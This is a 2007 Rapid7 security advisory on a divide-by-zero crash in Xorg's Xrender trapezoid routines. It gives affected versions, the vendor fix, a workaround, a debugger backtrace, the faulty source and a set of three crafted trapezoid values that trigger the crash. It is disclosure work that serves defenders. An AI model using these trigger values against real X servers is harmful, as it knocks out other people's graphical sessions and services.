Back to Advisories

Advisories

Rapid7 Advisory R7-0027: Denial-of-Service in the Xrender Extension's Trapezoid Drawing Routines

Summary

Apr 30, 2007 - The X Window System (all operating systems) Xrender extension has a divide-by-zero condition in the trapezoid drawing routines which may allow an attacker to force a denial-of-service condition and crash the Xserver.

Affected software:

KNOWN VULNERABLE:

  • Xorg X Window System 7.0 with Xserver <= 1.3.0
  • Xorg X Window System 7.1 with Xserver <= 1.3.0
  • Xorg X Window System 7.2 with Xserver <= 1.3.0

PROBABLY VULNERABLE:

  • Earlier versions

KNOWN FIXED:

  • Xorg X Window System 7.2 with Xserver 1.3.1 (unsure; see section 3)

Vendor Info

According Keith Packard of the Xorg Foundation, a fixed version of Xserver will be released as 1.3.1 on April 30, 2007 to address this issue.

X.Org Foundation
http://www.x.org

Solution

Disable the XRender extension by modifying the xorg configuration file with 'RenderAccel "false"'.

Detailed Analysis

The XRenderCompositeTrapezoids and XRenderAddTraps functions of the XRender extension use lists of trapezoids to render 2D shapes using the frame buffer library. If specially crafted values are used in the trapezoid stuct data members, a SIGFPE (divide by zero) will be thrown by the Xorg process, which will summarily cause the process to end.

The back-trace below reveals the reason for the crash. RenderEdgeInit() calls RenderEdgeStep() with a RenderEdge whose dy value is zero:

Program received signal SIGFPE, Arithmetic exception.
0x0819ebf5 in __divdi3 ()
(gdb) bt
#0 0x0819ebf5 in __divdi3 ()
#1 0x08140400 in RenderEdgeStep (e=0xbffc004c, n=0) at
../../render/renderedge.c:88
#2 0x08140655 in RenderEdgeInit (e=0xbffc004c, n=8, y_start=53539,
x_top=1, y_top=1073,x_bot=51659, y_bot=1073) at
../../render/renderedge.c:166
#3 0x081406f6 in RenderLineFixedEdgeInit (e=0x1, n=1, y=1, line=0x0,
x_off=0, y_off=0) at
../../render/renderedge.c:195
#4 0xb726a18a in fbRasterizeTrapezoid () from
/usr/lib/xorg/modules/libfb.so
#5 0x08136247 in miTrapezoids (op=3 '\003', pSrc=0x8348fb0,
pDst=0x8348ea0, maskFormat=0x820ab58, xSrc=15096, ySrc=-8563,
ntrap=2, traps=0x8346b8c) at ../../render/mitrap.c:171
#6 0xb732ec13 in _nv000371X () from
/usr/lib/xorg/modules/drivers/nvidia_drv.so

More precisely, the SIGFPE is thrown in the block of code below (taken from renderedge.c), when e->dy is 0:

if (ne <= -e->dy)
{
int nx = (-ne) / e->dy;
e->e = ne + nx * (xFixed_48_16) e->dy;
e->x -= nx * e->signdx;
}

e->dy becomes 0 in RenderEdgeStep if both y_bot and y_top are the same value. This value is checked for dy != 0, but no action is taken for dy == 0, and the value is happily passed to RenderEdgeStep():

if (dy)
{
if (dx >= 0)
{
e->signdx = 1;
e->stepx = dx / dy;
e->dx = dx % dy;
e->e = -dy;
}
else
{
e->signdx = -1;
e->stepx = -(-dx / dy);
e->dx = -dx % dy;
e->e = 0;
}

_RenderEdgeMultiInit (e, STEP_Y_SMALL(n), &e->stepx_small, &e->dx_small);
_RenderEdgeMultiInit (e, STEP_Y_BIG(n), &e->stepx_big, &e->dx_big);
}
RenderEdgeStep (e, y_start - y_top); // [VULNERABLE]

It is worth noting that certain video drivers may implement an accelerate trapezoid drawing routine, in which case the vulnerability would likely not apply. In this case, the beta NVIDIA driver for linux version 9625 was used and although it does register a callback for accelerated trapezoid drawing, it simply points back to the unaccelerated software rendering routine "miTrapezoids". This is not a fault of the NVIDIA driver, but rather the aforementioned RenderEdgeStep() function.

In order to successfully exploit this vulnerability, an attacker must be able to connect to the X Window System service locally, through the network or by convincing a user to run a malicious application. Once connected, the application could exploit the DoS using this simple set of three XTrapezoids:

pTraps[0].top = 13275;
pTraps[0].bottom = 26791;
pTraps[0].left.p1.x = 26765;
pTraps[0].left.p1.y = 13802;
pTraps[0].left.p2.x = 48451;
pTraps[0].left.p2.y = 1366;
pTraps[0].right.p1.x = 45782;
pTraps[0].right.p1.y = 14369;
pTraps[0].right.p2.x = 50685;
pTraps[0].right.p2.y = 3518;

pTraps[1].top = 52058;
pTraps[1].bottom = 56949;
pTraps[1].left.p1.x = 7641;
pTraps[1].left.p1.y = 35604;
pTraps[1].left.p2.x = 18593;
pTraps[1].left.p2.y = 60832;
pTraps[1].right.p1.x = 45277;
pTraps[1].right.p1.y = 1073;
pTraps[1].right.p2.x = 51659;
pTraps[1].right.p2.y = 1073;

pTraps[2].top = 53368;
pTraps[2].bottom = 18772;
pTraps[2].left.p1.x = 34644;
pTraps[2].left.p1.y = 11603;
pTraps[2].left.p2.x = 24261;
pTraps[2].left.p2.y = 13272;
pTraps[2].right.p1.x = 54806;
pTraps[2].right.p1.y = 46200;
pTraps[2].right.p2.x = 5052;
pTraps[2].right.p2.y = 22005;

Credit
This vulnerability was discovered by Derek Abdine of Rapid7.

Disclaimer & Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2007 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.